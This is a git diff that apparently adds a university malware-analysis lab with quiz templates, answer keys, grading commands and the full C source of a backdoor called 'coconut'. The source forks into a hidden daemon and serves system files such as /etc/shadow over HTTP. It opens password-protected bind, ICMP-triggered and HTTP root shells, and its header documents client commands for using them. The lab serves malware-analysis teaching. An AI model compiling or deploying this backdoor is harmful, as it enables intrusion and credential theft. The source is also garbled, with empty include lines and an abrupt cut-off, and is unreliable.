+ <%= self.title %>
+
+
+
+
+
+
+
+ <%= self.html_rendered %>
+
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/rema_coconut/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/rema_coconut/shared/license.md.erb
new file mode 100644
index 000000000..2527284e4
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/rema_coconut/shared/license.md.erb
@@ -0,0 +1,6 @@
+## License
+This lab by Mohamed Hassan and Thomas Shaw at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 4.0 License*](https://creativecommons.org/licenses/by-sa/4.0/).
+
+This work is licensed under a creative common "Attribution-NonCommercial-ShareAlike 4.0" license. A human-readable summary of the license is the following: You are free to copy and redistribute the material in any medium or format. You must give appropriate credit. If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original. You may not use the material for commercial purposes. See at https://creativecommons.org/licenses/by-sa/4.0/
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/intro.md.erb
new file mode 100644
index 000000000..fdd8d8e79
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/intro.md.erb
@@ -0,0 +1,43 @@
+# Malware Behaviour - Reverse Engineering and Analysis of the Coconut Malware Sample
+
+## Getting started
+### VMs in this lab
+
+==Start these VMs== (if you haven't already):
+- hackerbot_server: <%= $hackerbot_server_ip %> (leave it running, you don't log into this)
+- desktop: <%= $desktop_ip %>
+- victim_server: <%= $victim_server_ip %>
+
+### Your login details for the "desktop" VM
+User: <%= $main_user %>
+Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember)
+
+You won't login to the hackerbot_server, but the VM needs to be running to complete the lab.
+
+### For marks in the module
+1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Submit your flags in Hacktivity to register your progress in the lab.
+2. **You need to document the work and your solutions in a Log Book**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Log Book Questions". The Log Book will be submitted later in the semester.
+
+## Meet Hackerbot!
+
+
+This exercise involves Hackerbot, a chatbot who will interact with you and your system. If you satisfy Hackerbot by completing the challenges she will reveal flags to you.
+
+**On the desktop VM:**
+
+==Open Pidgin and send some messages to Hackerbot:==
+
+- Try asking Hackerbot some questions
+- Send "help"
+- Send "list"
+- Send "hello"
+
+Work through the following exercises, completing the Hackerbot challenges as noted.
+
+---
+
+# Purpose
+
+The victim_server has been infected with a malware sample. Your desktop analysis machine has a copy of the binary sample which is running on the victim_server at the path: /home/<%= $main_user %>/malware/coconut.
+
+This task involves analysing the coconut malware sample. Hackerbot will provide you with a series of practical challenges and quiz questions about the malware sample and reward you with flags for successful completion. Further flags can be found on the infected system (victim_server).
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/labsheet.html.erb
new file mode 100644
index 000000000..1eea6befb
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/labsheet.html.erb
@@ -0,0 +1,114 @@
+
+
+ <%= self.title %>
+
+
+
+
+
+
+ <%= self.html_TOC_rendered %>
+
+
+
+ <%= self.html_rendered %>
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/license.md.erb
new file mode 100644
index 000000000..2527284e4
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/license.md.erb
@@ -0,0 +1,6 @@
+## License
+This lab by Mohamed Hassan and Thomas Shaw at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 4.0 License*](https://creativecommons.org/licenses/by-sa/4.0/).
+
+This work is licensed under a creative common "Attribution-NonCommercial-ShareAlike 4.0" license. A human-readable summary of the license is the following: You are free to copy and redistribute the material in any medium or format. You must give appropriate credit. If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original. You may not use the material for commercial purposes. See at https://creativecommons.org/licenses/by-sa/4.0/
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/rema_coconut.xml.erb b/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/rema_coconut.xml.erb
new file mode 100644
index 000000000..4cde889dc
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/rema_coconut.xml.erb
@@ -0,0 +1,419 @@
+<%
+ require 'json'
+ require 'securerandom'
+ require 'digest/sha1'
+ require 'fileutils'
+ require 'erb'
+ require 'openssl'
+
+ if self.accounts.empty?
+ abort('Sorry, you need to provide an account')
+ end
+ $coconut_config = JSON.parse(self.coconut_config)
+ $first_account = JSON.parse(self.accounts.first)
+
+ $main_user = $first_account['username'].to_s
+
+ $root_password = self.root_password
+ $desktop_ip = self.desktop_ip
+ $hackerbot_server_ip = self.hackerbot_server_ip
+ $victim_server_ip = self.victim_server_ip
+ $flags = self.flags
+
+ $path_to_sample = "/home/#{$main_user}/malware/coconut"
+
+ $welcome_msg_code = $coconut_config['welcome_msg_code']
+ $http_bd_port = $coconut_config['http_bd_port']
+ $bd_timeout = $coconut_config['bd_timeout']
+ $icmp_bd_port = $coconut_config['icmp_bd_port']
+ $bind_bd_port = $coconut_config['bind_bd_port']
+ $transport_port = $coconut_config['transport_port']
+ $bd_password = $coconut_config['bd_password']
+
+ $q_bindport_rand = rand(1024..49151)
+
+ REQUIRED_FLAGS = 11
+ while $flags.length < REQUIRED_FLAGS
+ $flags << "flag{#{SecureRandom.hex}}"
+ Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!"
+ end
+
+ $yara_flag_1 = $flags.pop
+ $yara_flag_2 = $flags.pop
+
+ def get_binding
+ binding
+ end
+-%>
+
+
+
+
+
+ Hackerbot
+
+ config/AIML
+
+
+ sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash
+
+
+
+
+ Your system is about to be hacked. I'll do what I can hold them off, but you are going to have to work with me to protect yourself. I'll cough up some flags if you work with me.
+
+
+ Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along.
+ When you are ready, simply say 'ready'.
+ 'Ready'?
+ Better hurry, the attack is imminent... Let me know when you're 'ready'.
+ Ok, I'll do what I can to move things along...
+ Moving things along to the next attack...
+ Ok, next attack...
+ Ok, I'll do what I can to back things up...
+ Ok, previous attack...
+ Ok, backing up.
+ Ok, skipping it along.
+ Let me see what I can do to goto that attack.
+ That was the last attack for now. You can rest easy, until next time... (End.)
+ That was the last attack. Game over?
+ You are back to the beginning!
+ This is where it all began.
+ Ok. Gaining shell access, and running post command...
+ Hacking in progress...
+ Attack underway...
+ Here we go...
+ We are in to your system.
+ You are pwned.
+ We have shell.
+ Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along.
+ Say 'ready', 'next', or 'previous'.
+
+
+ I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'
+ Say "The answer is *X*".
+ There is no question to answer
+ Correct
+ Incorrect
+ That's not possible.
+ Wouldn't you like to know.
+
+
+ Oh no. Failed to get shell... You need to let us in.
+
+
+
+ REMA Malware Behaviour - Coconut
+ <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %>
+
+
+ true
+
+
+
+
+
+ I have a question that will require you to perform some analysis on the coconut malware sample, found at: <%= $path_to_sample %>
+
+ echo 'OK'
+ false
+
+
+
+ OK
+ OK...
+
+
+
+ OK..
+ OK..
+
+
+
+ Something went wrong.
+
+
+
+ What is the name of the packing software used to compress the code in the coconut malware sample?
+ UPX
+ Well done:) <%= $flags.pop %>
+
+
+
+
+
+
+ The next question is related to the state of the infected system. Perform a network scan to assist you with the following question.
+
+ echo 'OK'
+ false
+
+
+
+ OK
+ OK...
+
+
+
+ OK..
+ OK..
+
+
+
+ Something went wrong.
+
+
+
+ One of the users on the infected system has run the coconut malware sample. Which port has the malware sample opened on the infected system?
+ <%= $http_bd_port %>
+ Well done:) <%= $flags.pop %>
+
+
+
+
+
+
+ I have another question that will require you to perform further analysis on the coconut malware sample, found at: <%= $path_to_sample %>
+
+ echo 'OK'
+ false
+
+
+
+ OK
+ OK...
+
+
+
+ OK..
+ OK..
+
+
+
+ Something went wrong.
+
+
+
+ What is the name of the function that launches the icmp shell? (include brackets, e.g. "The answer is function_name()").
+ icmp_shell()
+ Well done:) <%= $flags.pop %>
+
+
+
+
+
+
+ I have another question that will require you to perform further analysis on the coconut malware sample, found at: <%= $path_to_sample %>
+
+ echo 'OK'
+ false
+
+
+
+ OK
+ OK...
+
+
+
+ OK..
+ OK..
+
+
+
+ Something went wrong.
+
+
+
+ Which port does the ICMP backdoor open a shell on?
+ <%= $icmp_bd_port %>
+ Well done:) <%= $flags.pop %>
+
+
+
+
+
+
+ This question is related to the activity timeout on the shell sessions.
+
+ echo 'OK'
+ false
+
+
+
+ OK
+ OK...
+
+
+
+ OK..
+ OK..
+
+
+
+ Something went wrong.
+
+
+
+ How many seconds does the bind shell backdoor stay active for, before automatically closing due to inactivity? (e.g. "The answer is n", where n is the number of seconds as an integer)
+ <%= $bd_timeout %>
+ Well done:) <%= $flags.pop %>
+
+
+
+
+
+
+ This question is related to the password used to access the shell sessions.
+
+ echo 'OK'
+ false
+
+
+
+ OK
+ OK...
+
+
+
+ OK..
+ OK..
+
+
+
+ Something went wrong.
+
+
+
+ What is the password used to access the backdoor shell?
+ <%= $bd_password %>
+ Well done:) <%= $flags.pop %>
+
+
+
+
+
+
+ The next question is related the backdoor shell session.
+
+ echo 'OK'
+ false
+
+
+
+ OK
+ OK...
+
+
+
+ OK..
+ OK..
+
+
+
+ Something went wrong.
+
+
+
+ What is the code attached to the welcome message that is presented to the user when they successfully access the backdoor?
+ <%= $welcome_msg_code %>
+ Well done:) <%= $flags.pop %>
+
+
+
+
+
+
+ The next question is related the http backdoor's bind shell functionality.
+
+ echo 'OK'
+ false
+
+
+
+ OK
+ OK...
+
+
+
+ OK..
+ OK..
+
+
+
+ Something went wrong.
+
+
+
+ The http backdoor contains functionality to open a bind shell on a specified port. Which URL can be accessed over HTTP to trigger the malware sample to open a bind shell backdoor on port <%= $q_bindport_rand %>?
+ <%= $victim_server_ip %>:<%= $http_bd_port %>/bindport:<%= $q_bindport_rand %>
+ Well done:) <%= $flags.pop %>
+
+
+
+
+
+
+ This challenge will require you to use one of the backdoors (of your choosing) to exfiltrate a file from the infected system. One of the users has a file containing top secret information within their home directory. Find the file and store a local copy on your VM at the path: /home/<%= $main_user %>/top_secret_file
+
+ shasum /home/<%= $main_user %>/top_secret_file
+
+
+ OK
+ Ok...
+
+
+ 9737a2f11c391517bc23b8f77d441f7c3d27e545 /home/<%=$main_user %>/top_secret_file
+ Well done :) <%=$flags.pop %>
+
+
+
+ Your top_secret_file does not contain the same data as the server's.
+
+
+
+
+
+
+ This challenge involves create a yara rule to detect the malware sample. Create a file containing your yara rule at /home/<%=$main_user %>/coconut.yara
+
+ upx_sample_check=$(xxd /home/<%=$main_user %>/malware/coconut | grep UPX > /dev/null; echo $?); ls /home/<%=$main_user %>/coconut.yara; yara_file=$?; yara /home/<%= $main_user%>/coconut.yara /home/<%= $main_user%>/malware/coconut; yara_err=$?; positive_match=$(yara /home/<%= $main_user%>/coconut.yara /home/<%= $main_user%>/malware/coconut | wc -l); bin_false_pos_n=$(yara /home/<%= $main_user%>/coconut.yara /bin/ | wc -l); usr_bin_false_pos_n=$(yara /home/<%= $main_user%>/coconut.yara /usr/bin/ | wc -l); bin_false_pos=$(if (( $bin_false_pos_n > 0 )); then echo "T"; else echo "F";fi;); usr_bin_false_pos=$(if (( $usr_bin_false_pos_n > 0 )); then echo "T"; else echo "F";fi;); echo $upx_sample_check$yara_file$yara_err$positive_match$bin_false_pos$usr_bin_false_pos
+
+
+ 1\d\d\d[FT][FT]
+ Your coconut malware sample does not appear to be the original UPX packed file. Try revert your VM to its initial state and try again.
+
+
+ 02\d\d[FT][FT]
+ No file found at /home/<%=$main_user %>/coconut.yara - have you created your rules file?
+
+
+ 001\d[FT][FT]
+ There was an error when attempting to run your yara rule. Check your syntax and review any error messages from yara.
+
+
+ 0000[FT][FT]
+ Your rules file is correctly formatted, but your rule does not match the coconut malware sample.
+
+
+ 0001FF
+ Well done! Your rule matches the coconut malware sample and does not trigger a false positive on the system binaries. Here are some flags: <%= $yara_flag_1 %> <%= $yara_flag_2 %> (note: you may have already received the first one for partial completion of this challenge)
+
+
+
+ 0001FT
+ Well done. Your rule is matching the coconut malware sample, here's a flag: <%= $yara_flag_1 %>. Unfortunately your rule generated false positives with system binaries. Improve your rule to earn another flag.
+
+
+ Something was wrong with your rule.
+
+
+
+
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/resources.md.erb
new file mode 100644
index 000000000..1767599e5
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/rema_coconut/templates/resources.md.erb
@@ -0,0 +1,3 @@
+## References
+
+[1] Stinson, Douglas R. and Paterson, Maura B. *Cryptography Theory and Practice*. 4th edition. CRC Press, 2019.
\ No newline at end of file
diff --git a/modules/utilities/unix/audit_tools/reversing_tools/manifests/install.pp b/modules/utilities/unix/audit_tools/reversing_tools/manifests/install.pp
index 1e605bc8e..000cc9065 100644
--- a/modules/utilities/unix/audit_tools/reversing_tools/manifests/install.pp
+++ b/modules/utilities/unix/audit_tools/reversing_tools/manifests/install.pp
@@ -1,7 +1,7 @@
class reversing_tools::install {
Exec { path => ['/bin', '/usr/bin', '/usr/local/bin', '/sbin', '/usr/sbin'] }
- ensure_packages(['gdb', 'git', 'ltrace', 'strace', 'valgrind', 'pax-utils', 'binwalk', 'vbindiff', 'ssdeep', 'pyew', 'gcc-multilib'])
+ ensure_packages(['gdb', 'git', 'ltrace', 'strace', 'valgrind', 'pax-utils', 'binwalk', 'vbindiff', 'ssdeep', 'pyew', 'gcc-multilib','yara'])
# java
ensure_packages(['procyon-decompiler'])
diff --git a/modules/utilities/unix/malware/coconut/coconut.pp b/modules/utilities/unix/malware/coconut/coconut.pp
new file mode 100644
index 000000000..d8b2334ae
--- /dev/null
+++ b/modules/utilities/unix/malware/coconut/coconut.pp
@@ -0,0 +1,2 @@
+require coconut::install
+require coconut::service
diff --git a/modules/utilities/unix/malware/coconut/files/coconut.c b/modules/utilities/unix/malware/coconut/files/coconut.c
new file mode 100644
index 000000000..9be54e5b7
--- /dev/null
+++ b/modules/utilities/unix/malware/coconut/files/coconut.c
@@ -0,0 +1,805 @@
+/************************************************************************
+* coconut.c is based on allinone.c
+*
+* a Http server,
+* a sockets transmit server,
+* a shell backdoor,
+* a icmp backdoor,
+* a bind shell backdoor,
+* a like http shell,
+* it can translate file from remote host,
+* it can give you a socks5 proxy,
+* it can use for to attack, jumps the extension, Visits other machines.
+* it can give you a root shell.:)
+*
+* Usage:
+* compile:
+* gcc -o allinone allinone.c -lpthread
+* run on target:
+* ./coconut
+*
+* 1.httpd server
+* Client:
+* http://target:9009/givemefile/etc/passwd
+* lynx -dump http://target:9009/givemefile/etc/shadow > shadow
+* or wget http://target:9009/givemefile/etc/shadow
+*
+* 2.icmp backdoor
+* Client:
+* ping -l 101 target (on windows)
+* ping -s 101 -c 4 target (on linux)
+* nc target 8090
+* allesgute:) --> your password
+*
+* 3.shell backdoor
+* Client:
+* nc target 9009
+* allesgute:) --> your password
+*
+* 4.bind a root shell on your port
+* Client:
+* http://target:9009/bindport:8899
+* nc target 8899
+* allesgute:) --> your password
+*
+* 5.sockets transmit
+* Client:
+* http://target:9009/socks/:local listen port::you want to tran ip:::you want to tran port
+* http://target:9009/socks/:1080::192.168.0.1:::21
+* nc target 1080
+*
+* 6.http shell
+* Client:
+* http://target:9009/givemeshell:ls -al (no pipe)
+*
+* ps:
+* All bind shell have a passwd, default is: allesgute:)
+* All bind shell will close, if Two minutes do not have the connection.
+* All bind shell only can use one time until reactivates.
+*
+* Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others)
+* Thx bkbll's Transmit code, and thx Neil,con,iceblood for test.
+*
+************************************************************************/
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+
+#define HTTPD_PORT 9009
+#define BIND_PORT 8899
+#define ICMP_PORT 8090
+#define TRAN_PORT 1080
+#define SIZEPACK 101
+#define MAXSIZE 32768
+#define TIMEOUT 120
+#define CONNECT_NUMBER 1
+#define HIDEME "[login] "
+#define HIDEICMP "[su] "
+#define HIDEFILE "[bash] "
+#define GET_FILE "givemefile"
+#define SHELL_NAME "givemeshell"
+#define BIND_NAME "bindport"
+#define TRAN_NAME "socks"
+#define DISPART ":"
+#define DISPART1 "::"
+#define DISPART2 ":::"
+#define $GNUPLIB "allesgute:)"
+#define _$PRINT "\r\n========= Welcome to Year 2068 =========\r\n========== :) =========\r\n\r\nYour command: \0"
+#define GIVEPASS "\r\nEnter Your password: \0"
+
+#define max(a, b) (a)>(b)?(a) : (b)
+
+int maxfd, infd, outfd;
+unsigned char ret_buf[32768];
+
+int daemon_init();
+void sig_chid();
+int TCP_listen();
+char* read_file();
+ssize_t writen_file();
+int bind_shell();
+int get_shell();
+int icmp_shell();
+int socks();
+int create_socket();
+int create_serv();
+int client_connect();
+int quit();
+void out2in();
+char x2c();
+void unescape_url();
+void plustospace();
+
+int main(int argc, char *argv[])
+{
+ int fd, len, i, icmp;
+ int csocket;
+ struct sockaddr_in caddr;
+ char readstr[4000];
+ char *cbuf;
+ pid_t pid;
+
+ signal(SIGCHLD, sig_chid);
+ daemon_init();
+
+ if((pid = fork()) == -1) exit(0);
+ if(pid <= 0)
+ {
+ strcpy(argv[0], HIDEICMP);
+ icmp_shell();
+ }
+
+ fd = TCP_listen(HTTPD_PORT);
+ if(fd <= 0) return -1;
+
+ for(;;)
+ {
+ strcpy(argv[0], HIDEME);
+
+ len = sizeof(caddr);
+ if((csocket = accept(fd, &caddr, &len)) < 0) continue;
+ if((pid = fork()) == -1) continue;
+ if(pid <= 0)
+ {
+ strcpy (argv[0], HIDEFILE);
+ i = recv(csocket, readstr, 4000,0);
+ if (i == -1) break;
+ if( readstr[ i -1 ] != '\n' ) break;
+ readstr [i] = '\0';
+ cbuf = read_file(readstr, csocket);
+ close(csocket);
+ }
+ close(csocket);
+ }
+ close(fd);
+ return(1);
+}
+
+
+int daemon_init()
+{
+ struct sigaction act;
+ int i, maxfd;
+
+ if(fork() != 0) exit(0);
+ if(setsid() < 0) return(-1);
+
+ act.sa_handler = SIG_IGN;
+ act.sa_flags = 0;
+
+ sigaction(SIGHUP, &act, 0);
+
+ if(fork() != 0) exit(0);
+
+ chdir("/tmp");
+ umask(0);
+ maxfd = sysconf(_SC_OPEN_MAX);
+ for(i=0; i0);
+ printf("children %d died\n", pid);
+ return;
+}
+
+int TCP_listen(int port)
+{
+ struct sockaddr_in laddr ;
+ int fd;
+ socklen_t len ;
+ fd = socket(AF_INET, SOCK_STREAM, 0);
+ len = sizeof(laddr) ;
+ memset(&laddr, 0, len) ;
+ laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
+ laddr.sin_family = AF_INET ;
+ laddr.sin_port = htons(port) ;
+ if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1);
+ if(listen(fd, 5)) return(-1);
+ return(fd);
+}
+
+char * read_file(char *buf, int fd)
+{
+ char *erro=
+ "Content-type: text/html\n\n"
+ "HTTP/1.1 404 Not Found\n"
+ "Date: 1 Jan 2060 03:19:55 GMT\n"
+ "Server: Apache/99.98.97 (RoboUnix)\n"
+ "Connection: close\n"
+ "Content-Type: text/html\n\n"
+ "\n"
+ "\n"
+ "404 Not Found\n"
+ "\n"
+ "
Not Found
\n"
+ "The requested URL was not found on this server.
\n"
+ "
\n"
+ "Apache/99.98.97 Server at localhost Port 9009\n"
+ "\n\n";
+
+ char *bindok=
+ "Content-type: text/html\n\n"
+ "\nBind Shell ok.:)\n"
+ "\n"
+ "